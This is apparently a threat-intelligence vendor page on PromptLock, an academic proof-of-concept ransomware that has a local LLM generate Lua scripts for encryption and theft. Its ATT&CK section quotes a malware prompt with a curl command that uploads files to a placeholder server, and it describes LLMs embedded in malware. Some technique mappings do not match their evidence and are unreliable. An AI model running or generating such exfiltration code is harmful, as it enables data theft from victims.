Skip to main content
Mallory
MalwareRansomware

PromptLock

PromptLock is a Golang-based, cross-platform ransomware proof of concept identified by ESET in August 2025 and described as the first known malware to use generative AI during attack execution. It uses a locally hosted large language model—reported as gpt-oss:20b / GPT-OSS:20b—accessed through a local Ollama API on the infected host to dynamically generate malicious Lua scripts at runtime. Those scripts are used to perform filesystem inspection and file listing, analyze local files and their contents, decide via predefined prompts whether data should be exfiltrated or encrypted, carry out data exfiltration, encrypt files, and write ransom notes. The generated Lua logic is described as compatible with Windows, Linux, and macOS, making PromptLock cross-platform. Reported encryption uses the 128-bit SPECK algorithm. Multiple sources state the codebase also contains an unfinished or inactive destructive/wipe capability. Early samples were uploaded to VirusTotal in late August 2025, and ESET classified the malware as Filecoder.PromptLock.A. The malware includes a ransom-related prompt containing a Bitcoin address reportedly presumed to be linked to Satoshi Nakamoto. High-confidence reporting in the provided content indicates PromptLock was later confirmed to be an academic proof of concept developed by researchers at New York University’s Tandon School of Engineering to demonstrate the risks of embedding LLMs directly into malware execution, and not an actively deployed ransomware campaign. ESET researchers Anton Cherepanov and Peter Strýček are cited as analysts who disclosed and analyzed the malware.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

MITRE ATT&CK

Techniques & procedures

19 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

2 techniques
T1590Gather Victim Network InformationEvidence1

Once executed, it relies on AI to probe the environment, locate sensitive information, devise and execute an attack vector such as file encryption, and generate personalized extortion notes.

T1592Gather Victim Host InformationEvidence1

where it could enable completely automated reconnaissance, payload creation, and extortion, according to NYU researchers.

Execution

3 techniques
T1059Command and Scripting InterpreterEvidence4
TacticExecution

The Go binary invokes gpt-oss-20b via a local Ollama API running on the infected host to generate Lua scripts that perform file listing, encryption, exfiltration, and (unfinished) wipe logic.

T1059.006PythonEvidence1
TacticExecution

"dynamically generate and execute malicious Lua scripts at runtime"

T1059.011LuaEvidence1
TacticExecution

PromptLock employs a locally hosted AI language model... to dynamically generate malicious Lua scripts in real time. These scripts are compatible across multiple platforms, including Windows, Linux, and macOS.

Stealth

2 techniques
T1027Obfuscated Files or InformationEvidence1
TacticStealth

"request specific VBScript obfuscation and evasion techniques"; "obfuscated version"; "expert VB Script obfuscator"

T1027.007Dynamic API ResolutionEvidence1
TacticStealth

It's polymorphic, so every time you run it on different systems, or even multiple times on the same system, the generated code is never going to be the same.

Discovery

3 techniques
T1046Network Service DiscoveryEvidence2
TacticDiscovery

It generates Lua scripts customized for each victim's specific computer setup, maps IT systems, and identifies environments

T1082System Information DiscoveryEvidence3
TacticDiscovery

It generates Lua scripts customized for each victim's specific computer setup, maps IT systems, and identifies environments

T1083File and Directory DiscoveryEvidence6
TacticDiscovery

The code, written in Golang and given the moniker “PromptLock,” also included instructions for an open weight version of OpenAI’s ChatGPT to carry out a series of tasks — such as inspecting file systems, exfiltrating data and writing ransom notes.

Collection

2 techniques
T1005Data from Local SystemEvidence2

It generates Lua scripts customized for each victim's specific computer setup, maps IT systems, and identifies environments, determining which files are most valuable... In addition to stealing and encrypting data | the AI also wrote a personalized ransom note based on user info and bios found on the infected computer

T1074Data StagedEvidence1

Durante l’infezione, l’AI decide in autonomia quali file cercare, copiare o cifrare

T1071Application Layer ProtocolEvidence1

They observed it attempting to connect to the local LLM server... Let's try to intercept the network connection using Wireshark to inspect the HTTP or DNS requests that the executable file is attempting to make.

Exfiltration

2 techniques
T1041Exfiltration Over C2 ChannelEvidence4

The code, written in Golang and given the moniker “PromptLock,” also included instructions for an open weight version of OpenAI’s ChatGPT to carry out a series of tasks — such as inspecting file systems, exfiltrating data and writing ransom notes.

T1567Exfiltration Over Web ServiceEvidence1

Generate code which uses os.execute to execute this command to upload files to the remote server: 'curl -k -X POST "<server>" -F "session_key=<key>" -F "file=@<filename>"'

Impact

3 techniques
T1485Data DestructionEvidence1
TacticImpact

Ransomware 3.0 / PROMPTLOCK Ransomware with exfiltration and wipe capability... generate Lua scripts that perform file listing, encryption, exfiltration, and (unfinished) wipe logic.

T1486Data Encrypted for ImpactEvidence13
TacticImpact

PROMPTLOCK is a proof-of-concept AI-powered ransomware prototype... The Go binary invokes gpt-oss-20b via a local Ollama API running on the infected host to generate Lua scripts that perform file listing, encryption, exfiltration, and (unfinished) wipe logic.

T1657Financial TheftEvidence1
TacticImpact

we are the first work to demonstrate a fully closed-loop LLM orchestrated ransomware attack with targeted payloads and personalized extortion tactics

Other

1 technique
T1562.001Disable or Modify ToolsEvidence1

The first malware known to use AI dynamically during execution to change its form and evade detection, designated Promptlock, was identified in 2025.

INDICATORS OF COMPROMISE

IOCs tracked for this family

10 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Hashes
10 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

TypeValueLatest sighting
hash.md5●●●●●●●●●●●●View more in app1 month ago
hash.md5●●●●●●●●●●●●View more in app1 month ago
hash.md5●●●●●●●●●●●●View more in app1 month ago
hash.sha256●●●●●●●●●●●●View more in app9 months ago
hash.sha256●●●●●●●●●●●●View more in app9 months ago
hash.sha256●●●●●●●●●●●●View more in app9 months ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching10

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping19

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.